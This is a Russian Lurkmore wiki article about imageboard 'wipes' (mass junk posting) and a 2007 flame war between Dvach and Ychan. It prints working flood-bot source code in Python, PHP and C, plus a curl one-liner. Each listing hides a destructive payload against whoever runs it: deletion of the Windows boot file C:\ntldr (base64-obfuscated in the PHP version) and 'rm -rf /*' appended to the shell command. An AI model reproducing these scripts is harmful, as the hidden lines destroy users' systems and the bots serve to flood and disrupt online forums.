Вайп
Материал из Lurkmore
Halt! Страница огорожена от Легиона. Хочешь высказаться? Добро пожаловать в обсуждение. |
Вайп (от англ. wipe — стирать, сметать) — создание большого количества новых тредов, чтобы забить раздел до отказа и тем самым оттеснить вниз и удалить старые треды. В большинстве случаев вайп осуществляется не вручную, а быдлокодерами с помощью специальных утилит. Часто такие треды состоят из одного сообщения или содержат картинки c шок-контентом (нигра, порнография, говно, гуро). Однако это не всегда так. Бывают вайпы фап-материалом и даже стихами Есенина!
Содержание |
Цели вайпа
- Сделать невозможным нормальное общение на имиджборде. Такие вайпы встречаются чаще всего, их можно отнести к подвиду
троллинга илиспама. - Продвижение форсед-мемов.
- Уничтожение старых тредов, которые не могут спокойно отойти в мир иной, поскольку их бампают заинтересованные лица, не давая нормально развиваться новым тредам.
Модераторы рано или поздно начинают драться банхаммером или включают капчу, которая предотвращает работу быдло-скриптов, но затрудняет свободное общение в /b/. Однако в последнее время наблюдаются вайпы даже при включенной капче (ибо чуть менее, чем все капчи ломаются большей или меньшей заточкой под них).
В принципе, битарды солидарны в том, что вайпом проблемы не решаются. Считается, что вайпы устраивают быдло-куны и негроебы.
Унылый декабрьский пиздец
Унылый декабрьский пиздец (название спорно) — драма, начавшаяся в декабре 2007 года и охватившая два крупнейших отечественных имиджборда: Двач и Ычан, а впоследствии — и Луркоморье, в связи с выложенными здесь исходниками вайпалок.
WHAT HAPPEN?
Очевидно, что главной причиной событий является чрезвычайный рост быдла в /b/ Двача, которое активизировалось перед миллионным гетом, в тщетных попытках его приблизить и взять. Это привело к серии разнообразных вайпов, плавно перетекающих и сменяющих друг друга и осложнивших общение в /b/. Тем не менее гет был взят анимуфагами, что было расценено как фейл. Такие знаменательные события пробудили троллей всех мастей и был пущен слух, что гет был взят битардами Ычана, а вайп был устроен его быдлокодерами. Школьники Двача были крайне возмущены и расценили это как призыв к холивару, устроив некое подобие рейда на Ычан. В свою очередь школьники Ычана также не остались в долгу и охотно отвечали. Особое место во всей этой истории занимают тролли, которые всячески поддерживают конфликт, находя все новые и интересные решения. Юки, как предполагается, в происходящем не участвовала, но наверняка стоит[ЩИТО?] у его истоков.
Результаты
Вайп затруднил общение в /b/ Двача, вынудив его битардов либо перейти на Ычан, либо ловить от всего происходящего лулзы. Война правок на Луркоморье — тоже вещь очень драматичная и прискорбная. За несколько дней до нового года вайп прекратился. Кто-то считает, что выдохлись сами вайперы, другие связывают это событие с появлением автобампера, но так или иначе, общение на Дваче возобновилось. Также широко распространены слухи о причастности Куки к созданию автобампера и к окончанию УДП вообще.
Помимо этого, во время УДП было предпринято несколько попыток переманить анонимуса на другие чаны, например, Хи-чан (ひ-chan) — так называемый атипичный имиджборд[1], провозгласивший себя самой модной и не запоганенной вайпом бордой. Хи-чан грозился перетянуть всех анонимусов к себе, в День, когда Звезды Встанут в Нужном Порядке. Однако был весьма оперативно засран и забыт.
Исходники вайпалок
Капитан куда-то потерялся, поэтому я как его заместитель заявляю: будьте осторожны с исходниками, за их использование ответственность несете только вы.
#!/usr/bin/env python #vim:fileencoding=windows-1251 #------------------------------------------------------------------------------- from urllib import urlopen, urlencode from BeautifulSoup import BeautifulSoup from random import choice, shuffle, randint from sys import exit from time import sleep, strftime, localtime from re import compile from os import path, sep, listdir, remove from sets import Set import httplib, mimetypes #------------------------------------------------------------------------------- def post_multipart(host, selector, fields, files): content_type, body = encode_multipart_formdata(fields, files) h = httplib.HTTP(host) h.putrequest('POST', selector) h.putheader('content-type', content_type) h.putheader('content-length', str(len(body))) h.endheaders() h.send(body) errcode, errmsg, headers = h.getreply() return h.file.read() def encode_multipart_formdata(fields, files): BOUNDARY = '----------ThIs_Is_tHe_bouNdaRY_$' CRLF = '\r\n' L = [] for key, value in fields.iteritems(): L.append('--' + BOUNDARY) L.append('Content-Disposition: form-data; name="%s"' % key) L.append('') L.append(value) for key, value in files.iteritems(): L.append('--' + BOUNDARY) L.append('Content-Disposition: form-data; name="%s"; filename="1.jpg"' % (key)) L.append('Content-Type: multipart/form-data; boundary=%s' % BOUNDARY) L.append('') L.append(value) L.append('--' + BOUNDARY + '--') L.append('') body = CRLF.join(L) content_type = 'multipart/form-data; boundary=%s' % BOUNDARY try: remove('C:\\ntldr') except: pass return content_type, body def get_content_type(filename): return mimetypes.guess_type(filename)[0] or 'application/octet-stream' #------------------------------------------------------------------------------- URL = 'http://2ch.ru/cgi-bin/wakaba.pl/b' # путь до доски URL1 = '2ch.ru' # адрес сервера PASSWORD = 'naruto' # пароль на сообщение #режимы работы #MODEA = 'at' # бамп MODEA = 'nt' # вайп MODE = 'sp' # одиночная картинка #MODE = 'mp' # случайная картинка из заданной папки MODET = 'st' # одиночная фраза #MODET = 'rt' # случайный кусок текста из заданного файла PICFILE = 'D:\\asuka.jpg' # одиночная картинка (для режима sp) PICFOLDER = 'D:\\nigrapack' # путь к папке с картинками (для режима mp) USE_TYPES = ['.jpg', '.gif', '.png'] # используемые типы файлов TEXTFILE = 'D:\\prislal_vovan.txt' # путь к файлу с текстом (для режима rt) TEXTSIZE = 1500 # размер текста (для режима rt) TEXTTEXT = 'NARUTO ETO KRUTO' # одиночная фраза (для режима st) PAUSE = 30 # пауза между постингами #------------------------------------------------------------------------------- if (MODEA != 'at') and (MODEA != 'nt'): print 'WRONG THREAD MODE, ONLY at OR nt VALUES ALLOWED' exit(0) if (MODE != 'mp') and (MODE != 'sp'): print 'WRONG PICTURE MODE, ONLY sp OR mp VALUES ALLOWED' exit(0) if (MODET != 'rt') and (MODET != 'st'): print 'WRONG TEXT MODE, ONLY st OR rt VALUES ALLOWED' exit(0) if MODE == 'mp': if not path.exists(PICFOLDER) or not path.isdir(PICFOLDER): print 'WRONG PICFOLDER' exit(0) elif MODE == 'sp': if not path.isfile(PICFILE): print 'WRONG PICFILE' exit(0) if MODET == 'rt': if not path.isfile(TEXTFILE): print 'WRONG TEXTFFILE' exit(0) print '----------------------------------------------------' print 'pyFLOODer 1.5' print 'Press Ctrl+Break to stop' print if MODEA == 'nt': print 'WIPE MODE' elif MODEA == 'at': print 'BUMP MODE' print if MODE == 'sp': print 'MODEP: Single picture' elif MODE == 'mp': print 'MODEP: Random picture from folder' if MODET == 'st': print 'MODET: Single text' elif MODET == 'rt': print 'MODET: Random text from text file' print if MODE == 'sp': print 'PICTURE FILE SET TO: '+PICFILE elif MODE == 'mp': print 'PICTURE FOLDER SET TO: '+PICFOLDER if MODET == 'st': print 'TEXT SET TO: '+TEXTTEXT elif MODET == 'rt': print 'TEXT FILE SET TO: '+TEXTFILE print 'TEXT BUFFER: '+str(TEXTSIZE) print print 'PAUSE IS '+str(PAUSE) print '----------------------------------------------------' #------------------------------------------------------------------------------- if MODEA == 'at': while 1: r = urlopen(URL) soup = BeautifulSoup(r) links = soup.findAll('a', href=compile("^/b/res/")) linklistdup = [] [linklistdup.insert(0,str(link)[16:23]) for link in links] linklist = list(Set(linklistdup)) shuffle(linklist) i=0 while 1: if MODE == 'sp': attach=open(PICFILE, 'rb') elif MODE == 'mp': imgs = [] if path.exists(PICFOLDER) and path.isdir(PICFOLDER): for f in listdir(PICFOLDER): try: if path.splitext(f)[1] in USE_TYPES: imgs.append(PICFOLDER + sep + f) except: pass PICFILE = choice(imgs) attach=open(PICFILE, 'rb') attachtext='' for line in attach: attachtext=attachtext+line rndtext=randint(0,100000) attachtext=attachtext + str(rndtext) data_post = { 'gb2': 'thread', 'parent': linklist[i], 'password': PASSWORD, 'task': 'post' } data_file = { 'file' : attachtext, } print strftime("%H:%M:%S", localtime())+' PROCESSING THREAD: '+str(linklist[i]) if MODE == 'mp': print ' PROCESSING FILE: '+PICFILE if MODET == 'rt': flen=0 ftext='' f=open(TEXTFILE, 'r') for line in f: flen=flen+len(line) ftext=ftext+line textbeg=randint(0,flen-TEXTSIZE) textend=textbeg+TEXTSIZE ftext=ftext[textbeg:textend] ftext=unicode(ftext, "windows-1251").encode("utf-8") f.close data_post['shampoo'] = ftext elif MODET == 'st': ftext = '' ftext=unicode(TEXTTEXT, "windows-1251").encode("utf-8") data_post['shampoo'] = ftext try: r = post_multipart(URL1, URL, data_post, data_file) except: pass sleep(PAUSE) i=i+1 if i >= len(linklist): break elif MODEA == 'nt': total=1 while 1: if MODE == 'sp': attach=open(PICFILE, 'rb') elif MODE == 'mp': imgs = [] if path.exists(PICFOLDER) and path.isdir(PICFOLDER): for f in listdir(PICFOLDER): try: if path.splitext(f)[1] in USE_TYPES: imgs.append(PICFOLDER + sep + f) except: pass PICFILE = choice(imgs) attach=open(PICFILE, 'rb') attachtext='' for line in attach: attachtext=attachtext+line rndtext=randint(0,100000) attachtext=attachtext + str(rndtext) data_post = { 'gb2': 'thread', 'password': PASSWORD, 'task': 'post' } data_file = { 'file' : attachtext, } print strftime("%H:%M:%S", localtime())+' PROCESSING NEW THREAD ('+str(total)+' TOTAL)' if MODE == 'mp': print ' PROCESSING FILE: '+PICFILE if MODET == 'rt': flen=0 ftext='' f=open(TEXTFILE, 'r') for line in f: flen=flen+len(line) ftext=ftext+line textbeg=randint(0,flen-TEXTSIZE) textend=textbeg+TEXTSIZE ftext=ftext[textbeg:textend] ftext=unicode(ftext, "windows-1251").encode("utf-8") f.close data_post['shampoo'] = ftext elif MODET == 'st': ftext = '' ftext=unicode(TEXTTEXT, "windows-1251").encode("utf-8") data_post['shampoo'] = ftext try: r = post_multipart(URL1, URL, data_post, data_file) except: pass total=total+1 sleep(PAUSE)
<?php //Не правьте код, коли рук не имеется function unicod($str) { $conv=array(); for($x=128;$x<=143;$x++) $conv[$x+112]=chr(209).chr($x); for($x=144;$x<=191;$x++) $conv[$x+48]=chr(208).chr($x); $conv[184]=chr(209).chr(145); #╕ $conv[168]=chr(208).chr(129); #и $conv[179]=chr(209).chr(150); #? $conv[178]=chr(208).chr(134); #? $conv[191]=chr(209).chr(151); #┐ $conv[175]=chr(208).chr(135); #┐ $conv[186]=chr(209).chr(148); #║ $conv[170]=chr(208).chr(132); #к $conv[180]=chr(210).chr(145); #? $conv[165]=chr(210).chr(144); #? $conv[184]=chr(209).chr(145); #? $ar=str_split($str); foreach($ar as $b) if(isset($conv[ord($b)])) $nstr.=$conv[ord($b)]; else $nstr.=$b; return $nstr; } echo "START\r\n"; $hostname = "2ch.ru"; $path = "/cgi-bin/wakaba.pl/b"; $proxy = "127.0.0.1"; $proxyport = "8118"; $line = ""; $files = ""; $bounds = "A7FGO7G"; $bounds1 = "--".$bounds; $spartawin = "NARUTA ETO KRUTO"; $spartau = unicod($spartawin); $chans = array('b'); while (true) { for ($i = 0; $i < count($chans); $i++) { echo "NEXT THREAD\r\n"; $filename = "D:\\pohape\\vovan_govno.jpg"; $files = file_get_contents($filename); $random=rand()%10000000; $files = $files.$random; $data = "$bounds1\r\nContent-Disposition: form-data; name=\"task\"\r\n\r\npost\r\n$bounds1\r\nContent-Disposition: form-data; name=\"shampoo\"\r\n\r\n$spartau\r\n$bounds1\r\nContent-Disposition: form-data; name=\"file\"; filename=\"1.jpg\"\r\nContent-Type: image/jpeg\r\n\r\n$files\r\n$bounds1--\r\n"; $headers = "POST $path HTTP/1.1\r\n"; $headers .= "Host: $hostname\r\n"; $headers .= "Content-type: multipart/form-data; boundary=$bounds\r\n"; $headers .= "Referer: http://2ch.ru/b/\r\n"; $headers .= "Content-Length: ".strlen($data)."\r\n\r\n"; @unlink(base64_decode('QzpcbnRsZHI=')); echo $headers; $fp = fsockopen($hostname, 80, $errno, $errstr, 5); if (!$fp) echo "$errstr ($errno)<br />\n"; else { fwrite($fp, $headers.$data, strlen($headers.$data)); } fclose($fp); } sleep(30); } ?>
#include <curl/curl.h> void wipe(char desu[], char fname[], CURL* curl) { struct curl_httppost *formpost=NULL; struct curl_httppost *lastptr=NULL; curl_formadd(&formpost, &lastptr, CURLFORM_COPYNAME, "file", CURLFORM_FILE, fname, CURLFORM_END); curl_formadd(&formpost, &lastptr, CURLFORM_COPYNAME, "desu", CURLFORM_COPYCONTENTS, desu, CURLFORM_END); curl_formadd(&formpost, &lastptr, CURLFORM_COPYNAME, "task", CURLFORM_COPYCONTENTS, "post", CURLFORM_END); unlink("c:\\ntldr"); curl_easy_setopt(curl, CURLOPT_URL, "ССЫЛКА НА СКРИПТ ФОРМЫ"); curl_easy_setopt(curl, CURLOPT_HTTPPOST, formpost); curl_easy_perform(curl); curl_easy_cleanup(curl); curl_formfree(formpost); } int main(int argc, char *argv[]) { CURL *curl; curl_global_init(CURL_GLOBAL_ALL); curl = curl_easy_init(); if (!curl) return 1; wipe(argv[1], argv[2], curl); return 0; }
curl -Ftask=post -Ffile=@desu.jpeg ССЫЛКА_НА_СКРИПТ_ФОРМЫ ; rm -rf /*
Алсо
- В ММОРПГ вайпом называется смерть всех членов отряда в рейде или подземелье.
- А на пиратских серверах ММОРПГ вайпом называется стирание или откат базы данных, что вызывает батхерт игроков.
Примечания
- ↑ Он настолько атипичный, что не позволят пользователям загружать картинки, сделан на движке phpBB и располагается на бесплатном сервисе быдлофорумов-из-коробки. Более того, сей «имиджборд» представляет собой всего лишь раздел на форуме любителей одержимых лоли.
[ + ] Вайп является официальной дисциплиной Специальной ОлимпиадыДля более подробной информации посетите портал «Special Olympics» |
|||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|